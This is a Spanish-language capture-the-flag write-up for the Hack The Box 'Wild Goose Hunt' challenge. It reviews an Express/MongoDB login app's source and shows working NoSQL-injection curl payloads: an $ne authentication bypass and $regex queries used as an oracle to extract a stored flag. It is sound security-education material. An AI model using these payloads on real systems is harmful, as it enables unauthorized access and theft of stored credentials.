Wild Goose Hunt
3 minutos de lectura
Se nos proporciona este sitio web:

También tenemos el código fuente del proyecto en Node.js (Express).
Análisis del código fuente
Este es index.js:
const express = require('express');
const app = express();
const bodyParser = require('body-parser');
const routes = require('./routes');
const mongoose = require('mongoose');
mongoose.connect('mongodb://localhost:27017/heros', { useNewUrlParser: true , useUnifiedTopology: true });
app.use(bodyParser.json());
app.use(bodyParser.urlencoded({
extended: true
}));
app.use(express.static('static'));
app.set('view engine', 'pug');
app.use(routes);
app.all('*', (req, res) => {
return res.status(404).send({
message: '404 page not found'
});
});
app.listen(1337, () => console.log('Listening on port 1337'));
Aquí vemos que el servidor usa MongoDB para la base de datos utilizando mongoose como Object-Document Mapper (ODM). Su versión es 5.10.10, según package.json:
{
"name": "heros",
"version": "1.0.0",
"description": "",
"main": "index.js",
"scripts": {
"start": "node index.js"
},
"keywords": [],
"author": "TRX",
"license": "ISC",
"dependencies": {
"body-parser": "^1.19.0",
"express": "^4.17.1",
"mongoose": "^5.10.10",
"pug": "^2.0.4"
},
"devDependencies": {
"nodemon": "^1.19.1"
}
}
Aunque hay vulnerabilidades que coinciden con esta versión, no son explotables (más información en security.snyk.io).
Los endpoints disponibles están en routes/index.js:
const express = require('express');
const router = express.Router();
const User = require('../models/User');
router.get('/', (req, res) => {
return res.render('index');
});
router.post('/api/login', (req, res) => {
let { username, password } = req.body;
if (username && password) {
return User.find({
username,
password
})
.then((user) => {
if (user.length == 1) {
return res.json({logged: 1, message: `Login Successful, welcome back ${user[0].username}.` });
} else {
return res.json({logged: 0, message: 'Login Failed'});
}
})
.catch(() => res.json({ message: 'Something went wrong'}) );
}
return res.json({ message: 'Invalid username or password'});
});
module.exports = router;
Como se puede ver, el servidor toma nuestro input del cuerpo de la petición y lo usa para consultar la base de datos utilizando User como modelo:
const mongoose = require('mongoose');
const Schema = mongoose.Schema;
let User = new Schema({
username: {
type: String
},
password: {
type: String
}
}, {
collection: 'users'
});
module.exports = mongoose.model('User', User);
El problema aquí es que el servidor no verifica que nuestro input sea en realidad un String…
Inyección NoSQL
Por lo tanto, podemos explotar una inyección de NoSQL utilizando payloads como los que aparecen en HackTricks.
Por ejemplo, podemos saltarnos la autenticación:
$ curl 94.237.62.195:36829/api/login -d '{"username":{"$ne":"x"},"password":{"$ne":"x"}}' -H 'Content-Type: application/json'
{"logged":1,"message":"Login Successful, welcome back admin."}
Sin embargo, el objetivo es encontrar la flag, que se encuentra en la base de datos (véase entrypoint.sh):
#!/bin/bash
# Secure entrypoint
chmod 600 /entrypoint.sh
mkdir /tmp/mongodb
# Start mongodb
mongod --noauth --dbpath /tmp/mongodb/ &
# Wait for mongodb
until nc -z localhost 27017; do echo "not up" && sleep 1; done
# Populate mongodb
mongosh heros --eval "db.createCollection('users')"
mongosh heros --eval 'db.users.insert( { username: "admin", password: "HTB{f4k3_fl4g_f0r_t3st1ng}"} )'
# Run services
/usr/bin/supervisord -c /etc/supervisord.conf
Oráculo
Con NoSQLi, también podemos extraer información de la base de datos. Un buen enfoque en MongoDB es usar $regex. Esta vez, tenemos un oráculo porque cuando la contraseña coincida con la RegEx, el inicio de sesión será exitoso y; si no, el inicio de sesión fallará:
$ curl 94.237.62.195:36829/api/login -d '{"password":{"$regex":"HTB.*"},"username":"admin"}' -H 'Content-Type: application/json'
{"logged":1,"message":"Login Successful, welcome back admin."}
$ curl 94.237.62.195:36829/api/login -d '{"password":{"$regex":"HTX.*"},"username":"admin"}' -H 'Content-Type: application/json'
{"logged":0,"message":"Login Failed"}
Sabiendo esto, podemos escribir un script para automatizar la extracción de flag. Decidí usar Go para esto y mejoré el rendimiento usando threads para extraer cada byte.
Flag
Si ejecutamos el script, capturaremos la flag en cuestión de segundos:
$ go run solve.go 94.237.62.195:36829
HTB{th3_4l13ns_h4v3nt_us3d_m0ng0db_I_gu3ss!}
El script completo se puede encontrar aquí: solve.go.